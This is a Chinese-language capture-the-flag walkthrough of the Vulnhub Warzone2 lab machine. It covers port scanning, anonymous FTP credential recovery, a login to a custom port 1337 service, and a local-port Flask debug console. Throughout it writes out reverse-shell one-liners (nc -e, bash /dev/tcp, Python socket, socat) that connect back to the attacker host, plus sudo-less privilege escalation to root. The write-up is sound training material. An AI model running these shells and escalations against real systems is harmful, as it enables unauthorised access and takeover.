Warzone2 靶机渗透测试实战教程
靶机概述
Warzone2 是 Vulnhub 提供的一个渗透测试实战靶机,适合练习从信息收集到提权的完整渗透流程。本教程将详细记录从初始扫描到最终获取 root 权限的全过程。
环境准备
-
下载靶机:
- 下载地址:http://www.vulnhub.com/entry/warzone-2,598/
- 使用 VirtualBox 加载运行
-
攻击机:
- Kali Linux (IP: 192.168.244.4)
渗透测试步骤
1. 主机发现
使用 netdiscover 扫描网络中的存活主机:
netdiscover -r 192.168.244.0/24
发现目标 IP 为 192.168.244.3(通常 .1 是物理机,.2 是网关)
2. 端口扫描
使用 nmap 进行端口扫描:
nmap -sV -p- 192.168.244.3
发现开放端口:
- 21/tcp - FTP
- 22/tcp - SSH
- 1337/tcp - 自定义服务
3. FTP 服务渗透
匿名登录 FTP:
ftp 192.168.244.3
使用用户名 anonymous 和空密码登录。发现三个文件:
- Username.png
- Password.png
- Token.png
这些文件包含旗语加密的信息,通过对照表解密得到:
- 用户名:semaphore
- 密码:signalperson
- Hash:833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26
- Token:38333361643438383436346465316132376435313266313034623633393235386537373930316631346561623730363136333036336433343035346137623236
4. 1337 端口服务渗透
使用 nc 连接 1337 端口:
nc 192.168.244.3 1337
输入之前获取的凭据:
- 用户名:semaphore
- 密码:signalperson
- Token:使用 hash 而非 token(833ad488...)
成功登录后获得一个受限 shell,支持以下命令:
- ls
- pwd
- nc
5. 反弹 shell
在 Kali 上监听:
nc -lvvp 4444
在靶机上执行:
nc -e /bin/bash 192.168.244.4 4444
获得 www-data 权限的 shell。为方便操作,升级为交互式 shell:
Kali:
nc -lvvp 5555
靶机:
bash -i >& /dev/tcp/192.168.244.4/5555 0>&1
6. 信息收集与横向移动
在系统中发现 flagman 用户的密码:i_hate_signals!
通过 SSH 登录:
ssh flagman@192.168.244.3
在 flagman 的桌面发现第一个 flag(青铜级别)。
7. 第一阶段提权
检查 /etc/passwd 发现 admiral 用户(管理员)。
查看 sudo 权限:
sudo -l
发现可以无密码以 admiral 身份执行特定文件:
sudo -u admiral /home/admiral/start.sh
执行后开启一个本地 5000 端口的 Flask web 服务(仅限 127.0.0.1 访问)。
8. 端口转发
通过 SSH 进行端口转发:
ssh -L 5000:127.0.0.1:5000 flagman@192.168.244.3
访问 Flask 调试控制台:
http://127.0.0.1:5000/console
使用执行 start.sh 时获得的 PIN 码登录。
9. Python 反弹 shell
在 Python 控制台中执行:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.244.4",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Kali 上监听:
nc -lvvp 6666
获得 admiral 用户权限,在桌面发现第二个 flag(银牌级别)。
10. 第二阶段提权
再次检查 sudo 权限:
sudo -l
发现可以无密码以 root 身份执行 less 命令:
sudo /usr/bin/less /var/mail/admiral
文件内容为摩尔电码加密的信息,解密后为鼓励信息而非 flag。
11. 通过 less 提权
less 可以用于提权,但需要交互式 shell:
在 Kali 上:
socat file:`tty`,raw,echo=0 tcp-listen:8888
在靶机上:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.244.4:8888
获得交互式 shell 后,使用 less 提权:
sudo /usr/bin/less /var/mail/admiral
在 less 中执行:
!/bin/bash
获得 root 权限,找到最终 flag。
总结
本靶机渗透流程:
- 信息收集:主机发现、端口扫描
- 服务渗透:FTP 匿名登录获取凭据
- 自定义服务利用:1337 端口服务登录
- 反弹 shell 获取初步访问
- 凭据发现与横向移动
- 权限提升:利用 sudo 权限执行脚本
- 端口转发访问受限服务
- 利用 Flask 调试控制台获取更高权限
- 最终通过 less 提权获取 root 权限
关键点:
- 注意观察所有获取的信息(旗语、hash/token 区别)
- 利用 sudo -l 发现提权路径
- 受限环境下的交互式 shell 获取方法
- 服务仅限本地访问时的端口转发技术